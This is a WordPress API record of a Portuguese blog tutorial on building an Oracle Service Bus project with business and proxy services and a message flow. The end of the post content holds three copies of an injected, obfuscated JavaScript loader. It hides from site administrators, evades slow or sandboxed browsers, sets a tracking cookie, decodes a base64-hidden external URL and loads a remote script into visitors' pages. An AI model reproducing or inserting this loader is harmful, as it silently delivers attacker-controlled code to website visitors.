{"id":1070,"date":"2011-01-27T17:35:42","date_gmt":"2011-01-27T21:35:42","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1070"},"modified":"2025-10-26T22:41:25","modified_gmt":"2025-10-27T01:41:25","slug":"iniciando-com-oracle-service-bus","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/01\/27\/iniciando-com-oracle-service-bus\/","title":{"rendered":"Iniciando com Oracle Service Bus"},"content":{"rendered":"<p style=\"text-align: justify;\">Vamos criar um projeto para conhecermos o Oracle Service Bus. Para a instala\u00e7\u00e3o, consulte o link: <a title=\"Oracle Service Bus\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2011\/01\/27\/oracle-service-bus\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.thiagovespa.com.br\/blog\/2011\/01\/27\/oracle-service-bus\/<\/a><\/p>\n<p style=\"text-align: justify;\">Primeiro criaremos o projeto no Eclipse. V\u00e1 em File, New, Others e depois selecione a op\u00e7\u00e3o Oracle Service Bus, ent\u00e3o selecione Oracle Service Bus Project.<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" title=\"Criando Projeto\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/createProject.png\" alt=\"\" width=\"349\" height=\"340\" \/><\/p>\n<p>Selecione Next, depois escolha um nome para seu projeto e clique em finish.<\/p>\n<p>Dentro do projeto de OSB crie tr\u00eas pastas: WSDL, PROXY, BUSINESS isso ajudar\u00e1 na organiza\u00e7\u00e3o do seu projeto.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/organiza%C3%A7%C3%A3o.png\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">Na pasta WSDL coloque os arquivos WSDL do seu projeto. Crie um Business Service a partir de um servi\u00e7o. No meu caso estou usando algo bem simples um projeto de Soma, somente para exemplificar.<\/p>\n<p style=\"text-align: justify;\">Publique o projeto SomaProjeto, e ap\u00f3s isso, vamos consumir o servi\u00e7o chamado <strong>ServicoSomaService<\/strong>. Para consumir o servi\u00e7o v\u00e1 at\u00e9 o weblogic console, depois no menu Implanta\u00e7\u00f5es expanda o projeto _auto_generated_ear_ e voc\u00ea ver\u00e1 o servi\u00e7o SomaProjeto, clique nele, v\u00e1 na aba Teste expanda o ServicoSomaService e selecione o item <strong>?WSDL , <\/strong>copie a url exemplo: <strong>http:\/\/localhost:7001\/SomaProjeto\/ServicoSomaService?WSDL<\/strong><\/p>\n<p style=\"text-align: justify;\">Pronto agora selecione o WSDL WebService, clique em Browser depois clique em consume, no campo Service Resources selecione uri e cole o caminho do Webservice. Veja na Imagem abaixo:<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/criandoBusiness.png\" alt=\"\" width=\"586\" height=\"398\" \/><\/p>\n<p style=\"text-align: justify;\">Clique em ok. Agora iremos selecionar o Port que \u00e9 o<strong> ServicoSomaPort<\/strong>. Selecione e clique em <strong>ok <\/strong>depois talvez apare\u00e7a outra janela clique em <strong>Yes.<br \/>\n<\/strong><\/p>\n<p style=\"text-align: justify;\">Agora criaremos o Proxy.<br \/>\nSelecione a pasta <strong>Proxy<\/strong> depois clique com o bot\u00e3o direito selecione <strong>New - Proxy Service<\/strong>, coloque um nome e clique em Finish.<\/p>\n<p style=\"text-align: justify;\">Selecione<strong> WSDL Web Service e clique em Browser, <\/strong>abra o<strong> OSB Configuration<\/strong> expanda Conhecendo_OSB_ expanda tamb\u00e9m a pasta WSDL e selecione o WSDL<strong> ServicoSomaService?WSDL.wsdl, <\/strong>expanda tamb\u00e9m o ChamarSoma e selecione o Port<strong> ServicoSomaPort<\/strong><br \/>\nVeja na imagem abaixo<strong>:<\/strong><\/p>\n<p style=\"text-align: center;\"><strong><br \/>\n<\/strong><img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/chamarSoma.png\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">Agora vamos fazer alguns tratamentos no <strong>Message Flow<\/strong> como exemplo. Primeiro coloquei uma Rota depois inseri um If-Else para analisar o que estava entrando como valor na vari\u00e1vel x.<br \/>\nSe for um n\u00famero negativo, na chamada do servi\u00e7o pego e lan\u00e7o uma exce\u00e7\u00e3o e depois fa\u00e7o um Reply que ocorreu uma falha. Sen\u00e3o chamo o servi\u00e7o normalmente e depois na resposta fa\u00e7o uma multiplica\u00e7\u00e3o por 2, s\u00f3 para exemplificar o que pode ser feito. Veja na figura abaixo:<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/exemploSoma.png\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">Como \u00e9 o pr\u00f3prio servi\u00e7o que \u00e9 utilizado no proxy e tamb\u00e9m \u00e9 utilizado para realizar a soma, n\u00e3o precisamos uma transforma\u00e7\u00e3o no Replace.<\/p>\n<p style=\"text-align: justify;\">Abaixo os links dos projetos:<\/p>\n<p style=\"text-align: justify;\"><a title=\"Download\" href=\"http:\/\/cid-bdbb1cfc95817194.office.live.com\/self.aspx\/Posts\/Conhecendo^_OSB^_.zip\">download<\/a><\/p>\n<p style=\"text-align: justify;\">\u00c9 isso ai t+. Visitem o meu blog em: <a title=\"Blog C\u00e1ssio\" href=\"http:\/\/cassiosousa.wordpress.com\" target=\"_blank\" rel=\"noopener\">http:\/\/cassiosousa.wordpress.com<\/a><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vamos criar um projeto para conhecermos o Oracle Service Bus. Para a instala\u00e7\u00e3o, consulte o link: http:\/\/www.thiagovespa.com.br\/blog\/2011\/01\/27\/oracle-service-bus\/ Primeiro criaremos o projeto no Eclipse. V\u00e1 em File, New, Others e depois selecione a op\u00e7\u00e3o Oracle Service Bus, ent\u00e3o selecione Oracle Service <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/01\/27\/iniciando-com-oracle-service-bus\/\">Continue lendo  <span class=\"screen-reader-text\">  Iniciando com Oracle Service Bus<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,8,9,76,6],"tags":[],"class_list":["post-1070","post","type-post","status-publish","format-standard","hentry","category-java","category-jdeveloper","category-oracle","category-soa-2","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1070","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1070"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1070\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1070"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1070"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1070"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}